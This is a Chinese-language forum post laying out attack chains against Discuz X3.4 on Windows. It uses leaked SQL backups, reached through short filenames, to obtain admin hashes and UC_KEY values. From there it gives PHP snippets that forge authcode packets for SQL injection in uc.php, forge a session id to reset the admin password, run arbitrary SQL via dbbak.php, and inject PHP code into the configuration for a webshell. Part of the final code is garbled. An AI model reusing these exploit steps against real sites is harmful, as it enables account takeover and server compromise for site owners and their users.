Windows下Discuz x3.4的两种攻击思路
[*]uc.php-SQL注入
[*]dbbak.php-任意SQL执行
[*]后台-getshell
Win下基本通杀(如果目标存在sql备份)
DZ所有攻击思路参考文章：https://paper.seebug.org/1144/#getwebshell
短文件拿win泄漏备份：https://gitee.com/ComsenzDiscuz/DiscuzX/issues/I10NG9
data/backup~1/190814~1.sql，日期直接遍历就行了
https://p9.pstatp.com/large/pgc-image/24faf21f77f64341a0253e1419ac157c
备份的SQL有几个地方比较有用，简单记一下：
1、管理员的hash、salt
https://p9.pstatp.com/large/pgc-image/6e92f029b67a4df29272a9ec5df9e401
$hash = unhex(0x78394c31656645316666313761344f37693135387863536255666f31553256374c65626566336739373459644734773045324c66493473355231703274346d35) $salt = unhex(0x323565616462)管理员密码的hash生成规则md5(md5($password).$salt)，可以本地跑一下密码
2、UC_KEY(dz)，也就是upload/config/config_ucenter.php下的UC_KEY
https://p3.pstatp.com/large/pgc-image/89af76979b0e43ba868e92224670f407
UC_KEY = unhex(0x78394c31656645316666313761344f37693135387863536255666f31553256374c65626566336739373459644734773045324c66493473355231703274346d35)
其实DZ一共有两个UC_KEY，另一个在upload/uc_server/data/config.inc.php，用来做uc_server的校权，这里叫UC_KEY(server)。SQL备份泄漏的UC_KEY(dz)主要作用与DZ主程序，包括伪造前台的任意用户(没啥用)，而UC_KEY(server)能修改任意后台管理员的密码(很有用)
接下来讲讲围绕这两个key怎么getshell
https://p1.pstatp.com/large/pgc-image/e9184b253417494492a367b5ffd7d46b
uc.php-SQL注入
https://p1.pstatp.com/large/pgc-image/7503db37b1f8414c85cb61ef8f55049e
这个地方DZ没有去转译单引号，用泄漏的uc_key(dz)就能构造任意数据包，demo如下
$uc_key = "ybX4B6nfA8Ca83i1Uav5L98eQ4d8w931Z9PbS6E7x86e02ofM1PbI9B3kaLfSaj4"; $time = time() + 7200;$encode = "time=".$time."&action=renameuser&newusername=123&uid=1'+sql";var_dump(urlencode(authcode($encode,'ENCODE',$uc_key)));
https://p1.pstatp.com/large/pgc-image/6a7c083537d74e1aae4aa2193ed666a9
可以用来读upload/uc_server/data/config.inc.php下的UC_KEY(server)
借助sid_decode()函数，UC_KEY(server)就可以用来密码重置
function sid_encode($username) { $ip = $this->onlineip; $agent = $_SERVER['HTTP_USER_AGENT']; $authkey = md5($ip.$agent.UC_KEY); $check = substr(md5($ip.$agent), 0, 8); return rawurlencode($this->authcode("$usernamet$check", 'ENCODE', $authkey, 1800)); } function sid_decode($sid) { $ip = $this->onlineip; $agent = $_SERVER['HTTP_USER_AGENT']; $authkey = md5($ip.$agent.UC_KEY); $s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800); if(empty($s)) { return FALSE; } @list($username, $check) = explode("t", $s); if($check == substr(md5($ip.$agent), 0, 8)) { return $username; } else { return FALSE; } }
https://p1.pstatp.com/large/pgc-image/6c543544f98d4db7a61e2a72145af989
https://p1.pstatp.com/large/pgc-image/b872d5b09a4649d98480ea01570870ae
构造sid脚本
$uc_key = "x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5"; $authkey = md5($ip.$ua.$uc_key); var_dump($authkey);$check = substr(md5($ip.$ua), 0, 8); var_dump(rawurlencode(authcode("$usernamet$check", 'ENCODE', $authkey, 1800)));直接替换cookie中的sid就能修改admin、uid=1的密码。或者post一个sid也可
https://p9.pstatp.com/large/pgc-image/063a5785fd3a41948638785120329431
dbbak.php-任意SQL执行
同样要利用UC_KEY(dz)构造数据包
1、在前台上传zip文件，内容为:
UPDATE `ultrax`.`pre_ucenter_members` SET `password` = md5(concat(md5('password'),'123456')), `salt` = '123456' WHERE `uid` = 1;2、在api/dbbak.php利用authkey，export出数据库，得到上传的zip路径
其中加密code脚本
$v) { if(!is_array($v)) { $s .= $space."".($htmlon ? '' : '')."rn"; } else { $s .= $space."rn".xml_serialize($v, $htmlon, $isnormal, $level + 1).$space."rn"; } } $s = preg_replace("/()+/", ' ', $s); return $level == 1 ? $s."" : $s;} $payload = array("UC_API"=>"https://aaa'phpinfo();"); $result = xml_serialize($payload); echo $result;
页:
[1]